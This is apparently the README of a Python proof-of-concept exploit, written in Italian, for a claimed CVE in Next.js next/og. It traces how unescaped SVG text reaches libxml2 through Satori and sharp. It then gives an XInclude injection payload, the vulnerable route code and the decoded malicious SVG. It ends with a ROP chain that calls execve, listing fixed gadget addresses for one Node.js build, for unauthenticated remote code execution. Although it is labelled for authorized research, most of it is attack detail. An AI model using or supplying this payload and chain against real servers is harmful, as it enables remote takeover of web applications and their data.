
PoC in Python per CVE-2026-94545: sfrutta input SVG non sottoposto a escape in Next.js next/og per provocare una corruzione di libxml2 e una catena ROP per un RCE non autenticato.
next/og di Next.jsSolo per uso di ricerca sulla sicurezza, in ambienti di vulnerabilità autorizzati.
| Voce | Valore |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| Upstream | Satori GHSA-wx4j-mvgx-mqwp |
| Causa Radice | CWE-116 (Codifica o Escaping Improprio dell'Output) → Corruzione della memoria del parser XML nativo → RCE |
| Affette | Next.js 16.2.0 – 16.3.5 (runtime Node con sharp installato); Satori incluso ≥ 0.0.27 e < 0.33.5 |
| Corrette | Next.js 16.3.6 / Satori 0.33.5 |
| Impatto | Esecuzione di comandi arbitrari nel processo del servizio Next.js senza autenticazione |
| Stack Testato | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + binario ufficiale x64 di Node.js v24.20.0 (non-PIE) |
Con il runtime Edge (export const runtime = 'edge') o quando sharp non è installato, il rendering passa attraverso la sandbox resvg-wasm, quindi questa vulnerabilità non raggiunge la catena di parsing nativa e pertanto non diventa RCE.
L'input dell'utente viene concatenato nell'SVG come testo semplice, e questo SVG viene poi inserito interamente in un URL data: e consegnato a un parser XML in linguaggio C per un secondo ciclo di parsing. Nel mezzo viene eseguita solo la codifica URL; l'escaping XML non viene mai effettuato.
Schema tipico: POST /api/og inserisce l'intero corpo della richiesta, oppure GET /api/og?value= inserisce il parametro di query, direttamente nel <title> SVG di ImageResponse, senza filtraggio o escaping.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse riceve un albero di elementi JSX e restituisce un PNG. Qualsiasi route che scrive dati della richiesta nei nodi figli / attributi / stili SVG è un sink.
next/ognode_modules/next/og.js inoltra a next/dist/server/og/image-response.js. Il runtime Node carica dinamicamente next/dist/compiled/@vercel/og/index.node.js (percorso nativo); il runtime Edge carica il percorso wasm e non è interessato da questa vulnerabilità.
@vercel/og — Satori genera l'SVG, poi lo passa per la rasterizzazioneIl flusso di @vercel/og incluso in bundle con Next.js (i commenti dell'artefatto compilato confermano che contiene [email protected]) è:
sharp, passare l'SVG alla libreria nativa per la rasterizzazione; altrimenti ricadere su resvg-wasm.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
A questo punto, l'input dell'utente è già diventato una stringa SVG e viene passato così com'è a sharp (libvips nativo).
Per un <svg> scritto esplicitamente in JSX, Satori lo serializza interamente in un URL data:image/svg+xml e poi lo incorpora nell'output come <image>.
vercel/[email protected] src/layout.ts: chiama SVGNodeToImage quando entra in un nodo <svg>.
src/handler/preprocess.ts presenta due difetti chiave:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, < e > non vengono scritti come & / < / >. La codifica percentuale è solo un requisito sintattico degli URL; quando il parser a valle carica l'URL data:, %3C/title%3E viene ripristinato in un vero </title>, e il testo dell'attaccante passa da "dati" a "struttura del documento".
Quando l'input è </title><xi:include …/><title>, l'SVG intermedio passato da Satori a sharp assume la seguente forma (decodificato a scopo illustrativo):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
Il payload utilizza due livelli di injection per controllare la struttura di input di libxml2:
</title><xi:include parse="xml" href="data:…"> esterno fa sì che il parser passi al caricamento di un documento annidato completamente controllato dall'attaccante.Lo stato interno di libxml2 viene spinto oltre le aspettative, causando una scrittura out-of-bounds. L'effetto di corruzione viene ottenuto in modo affidabile tramite sequenze di coordinate SVG <path> accuratamente predisposte (double IEEE-754 che trasportano word little-endian da 8 byte), dirottando così il flusso di controllo.
execveIl binario Node.js linux-x64 rilasciato ufficialmente è un eseguibile non-PIE con base di caricamento fissa; gli indirizzi di PLT / GOT e dei gadget sono costanti, quindi non è necessaria alcuna fuga di informazioni.
Questo PoC è costruito per Node.js v24.20.0 official x64; i gadget sono i seguenti:
| Simbolo | Indirizzo | Scopo |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (scrive nello scratch qword per qword) |
EXECVE_PLT | 0x745FA0 | Stub PLT di execve |
SCRATCH | 0x6B5F500 | Indirizzo scrivibile fisso |